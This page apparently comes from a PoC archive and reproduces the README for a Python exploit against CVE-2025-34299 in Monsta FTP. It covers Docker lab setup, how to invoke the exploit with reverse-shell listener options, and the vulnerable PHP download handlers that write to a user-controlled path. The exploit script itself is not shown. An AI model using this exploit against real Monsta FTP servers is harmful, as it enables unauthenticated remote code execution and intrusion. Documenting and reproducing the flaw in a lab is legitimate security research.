Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2025-34299 PoC — Monsta FTP <= 2.11 Unauthenticated Arbitrary File Upload

Source
Associated Vulnerability
Title: Monsta FTP <= 2.11 Unauthenticated Arbitrary File Upload (CVE-2025-34299)
Description:Monsta FTP versions 2.11 and earlier contain a vulnerability that allows unauthenticated arbitrary file uploads. This flaw enables attackers to execute arbitrary code by uploading a specially crafted file from a malicious (S)FTP server.
Description
MonstaFTP Unauthenticated File Upload
Readme
# Monsta FTP CVE-2025-34299 Exploit

Python exploit for the RCE vulnerability in Monsta FTP (CVE-2025-34299).

## Description

This vulnerability allows arbitrary PHP code execution on the Monsta FTP server by exploiting the `downloadFile` functionality which allows downloading files from a malicious FTP or SFTP server. The exploit establishes a reverse shell connection using pwntools.

**Note:** While the [watchTowr Labs research](https://labs.watchtowr.com/whats-that-coming-over-the-hill-monsta-ftp-remote-code-execution-cve-2025-34299/) demonstrates the vulnerability using SFTP, this exploit uses FTP which also works perfectly fine.

## Prerequisites

- Python 3.x
- Docker and Docker Compose (optional)
- Network access to download Monsta FTP from archive.org

## Installation

Install Python dependencies:

```bash
pip install -r requirements.txt
```

## Usage

### Setting up the lab

The Dockerfile automatically downloads and installs Monsta FTP 2.10.4 from archive.org during the build process.

**Build and start the lab:**

```bash
cd lab
docker build -t monsta-ftp:2.10.4 .
docker run -d --name monsta-ftp-test -p 8080:80 monsta-ftp:2.10.4
```

**Alternative with Docker Compose:**

```bash
cd lab
docker-compose up -d
```

The lab will be available at `http://127.0.0.1:8080/mftp`

**Verify the installation:**

```bash
curl http://127.0.0.1:8080/mftp/
```

You should see the Monsta FTP login page.

**Container management:**

- Stop the container: `docker stop monsta-ftp-test`
- Start the container: `docker start monsta-ftp-test`
- View logs: `docker logs monsta-ftp-test`
- Stop and remove the container: `docker rm -f monsta-ftp-test`
- Rebuild the image: `docker build -t monsta-ftp:2.10.4 .`

### Running the exploit

Once the lab is running, execute the exploit:

```bash
python3 exploit.py http://127.0.0.1:8080/mftp
```

**Options:**

- `--host`: FTP server host (default: 172.17.0.1)
- `--port`: FTP server port (default: 2121)
- `--lhost`: Listener host for reverse shell (default: 172.17.0.1)
- `--lport`: Listener port for reverse shell (default: 4444)

**Example with custom listener:**

```bash
python3 exploit.py http://127.0.0.1:8080/mftp \
  --lhost 172.17.0.1 \
  --lport 4444
```

**How it works:**

1. Starts a malicious FTP server with a reverse shell payload
2. Uploads the payload to Monsta FTP via the vulnerable `downloadFile` endpoint
3. Triggers the payload execution
4. Establishes an interactive reverse shell using pwntools

The payload automatically deletes itself after execution.

## Technical Details

### Why FTP Works Too

While the [watchTowr Labs research](https://labs.watchtowr.com/whats-that-coming-over-the-hill-monsta-ftp-remote-code-execution-cve-2025-34299/) demonstrates the vulnerability using SFTP, FTP works identically because both connection types use the same vulnerable pattern:

**SFTP Implementation** (`SFTPConnection.php`):
```php
protected function handleDownloadFile($transferOperation) {
    $remoteURL = $this->getRemoteFileURL($transferOperation->getRemotePath());
    if(@copy($remoteURL, $transferOperation->getLocalPath()))
        return true;
    // ...
}
```

**FTP Implementation** (`FTPConnection.php`):
```php
protected function handleDownloadFile($transferOperation) {
    return @ftp_get($this->connection, 
                    $transferOperation->getLocalPath(),  // <-- User-controlled destination
                    $transferOperation->getRemotePath(),
                    $transferOperation->getTransferMode());
}
```

In both cases, `getLocalPath()` returns the user-controlled `localPath` parameter from the request context, allowing arbitrary file write to any location on the server's filesystem. The only difference is the PHP function used (`copy()` for SFTP vs `ftp_get()` for FTP), but both accept user-controlled destination paths without proper validation.

## References

- [CVE-2025-34299](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-34299)
- [watchTowr Labs - Monsta FTP Remote Code Execution CVE-2025-34299](https://labs.watchtowr.com/whats-that-coming-over-the-hill-monsta-ftp-remote-code-execution-cve-2025-34299/) (Note: The research demonstrates SFTP, but FTP works as well)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →